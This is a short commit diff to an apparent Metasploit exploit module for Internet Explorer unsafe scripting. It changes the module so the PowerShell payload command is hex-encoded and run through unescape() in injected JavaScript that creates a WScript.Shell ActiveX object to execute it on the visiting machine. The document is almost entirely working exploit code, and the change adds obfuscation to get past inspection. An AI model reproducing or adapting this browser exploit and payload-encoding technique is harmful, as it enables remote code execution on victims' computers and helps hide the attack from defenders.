Encode the powershell cmd

Meatballs1 · Meatballs1 · commit a12f5092dd02 · 2013-08-28T22:37:11.000+01:00
diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
@@ -122,14 +122,11 @@ def vbs_technique(var_shellobj, p)
 	end
 
 	def psh_technique(var_shellobj, p)
-		cmd = cmd_psh_payload(p.encoded)
-		cmd.gsub!('"','')
-		cmd.gsub!('\\powershell.exe\\',"'powershell.exe'")
-		cmd.strip! # Remove trailing new line
+		cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
 		js_content = %Q|
 //<html><head></head><body><script>
 var #{var_shellobj} = new ActiveXObject("WScript.Shell");
-#{var_shellobj}.run("#{cmd}", 1, true);
+#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
 //</script></html>
 |
 
